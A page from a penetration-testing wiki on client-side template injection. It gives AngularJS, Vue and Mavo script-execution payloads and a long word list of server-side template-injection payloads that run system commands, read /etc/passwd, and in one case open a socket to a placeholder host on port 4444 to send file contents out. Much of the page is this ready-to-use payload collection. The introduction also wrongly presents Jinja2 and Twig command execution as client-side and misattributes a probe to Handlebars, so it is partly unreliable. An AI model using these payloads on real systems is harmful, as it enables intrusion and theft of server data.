πŸ•΅οΈ
VeryLazyTech
πŸ“œ MediumπŸ›’ My ShopπŸ‘Ύ GithubπŸ“© Telegram πŸ“Ί YouTubeβœ– Twitter
  • πŸ•΅οΈWelcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • πŸ‘Ύ GitHub
      • πŸ“œ Medium
      • β˜• My Shop
      • πŸ“Ί YouTube
      • βœ– Twitter
      • πŸ“© Telegram
  • πŸ›‘οΈ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POCβ€Š-β€ŠCVE-2025–2539 File Away <= 3.9.9.0.1β€Š-β€ŠMissing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • πŸ•΅οΈβ€β™‚οΈDorks
    • GitHub Dorks
    • Google Dork Online Tool
  • πŸ“š Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • πŸ•ΈοΈPentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • πŸͺŸWindows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows andΒ Linux
  • πŸ§‘β€πŸ”§Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Introduction to Client-Side Template Injection (CSTI)
  • Understanding Template Engines and Their Role
  • How Client-Side Template Injection Works
  • 1. Identifying Vulnerable Templates
  • 2. Exploiting the Vulnerability
  • Exploiting JavaScript Frameworks
  • AngularJS
  • VueJS
  • Mavo
  • Word List:
  • Videos:

Was this helpful?

  1. Pentesting Web

Client Side Template Injection (CSTI)

PreviousThe Ultimate Penetration Testing Methodology (2025 Edition)NextIdentify a Server’s Origin IP

Last updated 2 months ago

Was this helpful?

  • Become VeryLazyTech ! 🎁

  • Follow us on:

    • βœ– Twitter .

    • πŸ‘Ύ Github .

    • πŸ“œ Medium .

    • πŸ“Ί YouTube .

    • πŸ“© Telegram .

    • πŸ•΅οΈβ€β™‚οΈ My Site .

  • Visit our for e-books and courses. πŸ“š

Introduction to Client-Side Template Injection (CSTI)

Client-Side Template Injection (CSTI) is a critical vulnerability that arises due to improper handling of user input in template engines. Attackers exploit this flaw to execute arbitrary code, access sensitive data, or even gain complete control over the affected system. CSTI has become an increasing concern in modern web applications that rely on templating engines for dynamic content rendering.

Understanding Template Engines and Their Role

Template engines are widely used in web development to dynamically generate HTML content. Some of the most popular template engines include Jinja2, Twig, Handlebars, EJS, and Pug. These engines allow developers to create templates with placeholders that are replaced with actual data during rendering.

However, when user input is directly passed into the template without proper sanitization, attackers can inject malicious expressions, leading to Remote Code Execution (RCE), Data Exfiltration, and Server Compromise.

How Client-Side Template Injection Works

1. Identifying Vulnerable Templates

To exploit CSTI, attackers must first determine if the web application is using a vulnerable template engine. This can be achieved by testing input fields for template expressions such as:

  • {{7*7}} (Jinja2, Twig)

  • <%= 7*7 %> (EJS)

  • {{7*'7'}} (Handlebars)

  • #{7*7} (Pug)

If the output displays 49, it confirms that the application is rendering user input within the template engine, making it potentially vulnerable.

2. Exploiting the Vulnerability

Once CSTI is identified, attackers can craft malicious payloads to execute arbitrary code. For example, in Jinja2, an attacker could execute system commands using:

{{ self.__class__.__mro__[1].__subclasses__()[400]('/etc/passwd').read() }}

Similarly, in Twig, an attacker can use:

{{ system('ls -la') }}

These payloads allow attackers to extract sensitive files, execute commands, or even gain shell access.

Exploiting JavaScript Frameworks

AngularJS

AngularJS is a widely-used JavaScript framework that interacts with HTML through attributes known as directives, a notable one being ng-app. This directive allows AngularJS to process the HTML content, enabling the execution of JavaScript expressions inside double curly braces.

In scenarios where user input is dynamically inserted into the HTML body tagged with ng-app, it's possible to execute arbitrary JavaScript code. This can be achieved by leveraging the syntax of AngularJS within the input. Below are examples demonstrating how JavaScript code can be executed:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

Google Research - AngularJS

<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

CAUTION: Angular 1.6 removed the sandbox, so from this version, a payload like {{constructor.constructor('alert(1)')()}} or <input ng-focus=$event.view.alert('XSS')> should work.

VueJS

Working Payload:

https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Google Research - Vue.js

"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Additional Vue Payloads:

  • V3: {{_openBlock.constructor('alert(1)')()}}

  • V2: {{constructor.constructor('alert(1)')()}}

Mavo

Payloads:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{}}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Word List:

#{ 3 * 3 }
#{ 7 * 7 }
#{3*3}
#{42*42}
#{7*7}
${"freemarker.template.utility.Execute"?new()("id")}
${3*3}
${42*42}
${6*6}
${7*7}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(java.lang.System).getenv()}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
${donotexists|42*42}
${self.__init__.__globals__['util'].os.system('id')}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.template.module.runtime.util.os.system("id")}
${{3*3}}
${{7*7}}
${{<%[%'"}}%\
*{7*7}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
42*42
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
<%= 3 * 3 %>
<%= 7 * 7 %>
<%= 7*7 %>
<%= File.open('/etc/passwd').read %>
<%=42*42 %>
@(1+2)
@(6+5)
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
[7*7]
[[${42*42}]]
{$smarty.version}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{42*42}
{^xyzm42}1764{/xyzm42}
{php}echo `id`;{/php}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ [].class.base.subclasses() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{ request }}
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.class.mro()[1].subclasses()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.toUpperCase()}}
{{2*2}}[[3*3]]
{{3*'3'}}
{{3*3}}
{{4*4}}[[5*5]]
{{42*42}}
{{7*'7'}}
{{7*7}}
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
{{=42*42}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['id']|filter('system')}}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{app.request.server.all|join(',')}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{config.items()}}
{{cycler.__init__.__globals__.os}}
{{dump(app)}}
{{joiner.__init__.__globals__.os}}
{{namespace.__init__.__globals__.os}}
{{request.__class__}}
{{request|attr("__class__")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os}}
{{self}}
{{{42*42}}}

Client-Side Template Injection (CSTI) is a serious security risk that can lead to devastating consequences, including Remote Code Execution (RCE), data theft, and server compromise. By implementing proper input validation, escaping user input, using secure template engines, and enforcing security policies, organizations can effectively mitigate the risks associated with CSTI. Regular security assessments and penetration testing remain crucial to ensuring the safety of web applications.

Videos:

Support VeryLazyTech πŸŽ‰
  • Follow us on:

A very basic online example of the vulnerability in AngularJS can be found at and in Burp Suite Academy.

A vulnerable Vue implementation can be found at .

The source code of the vulnerable example is available at .

A detailed post on CSTI in Vue can be found at .

More Vue payloads can be found in the .

More payloads are available at .

Learn & practice

Become VeryLazyTech ! 🎁

βœ– Twitter .

πŸ‘Ύ Github .

πŸ“œ Medium .

πŸ“Ί YouTube .

πŸ“© Telegram .

πŸ•΅οΈβ€β™‚οΈ My Site .

Visit our for e-books and courses. πŸ“š

πŸ•ΈοΈ
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
this JSFiddle link
this example
GitHub
PortSwigger
PortSwigger XSS Cheat Sheet
PortSwigger's research
For the OSCP.
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop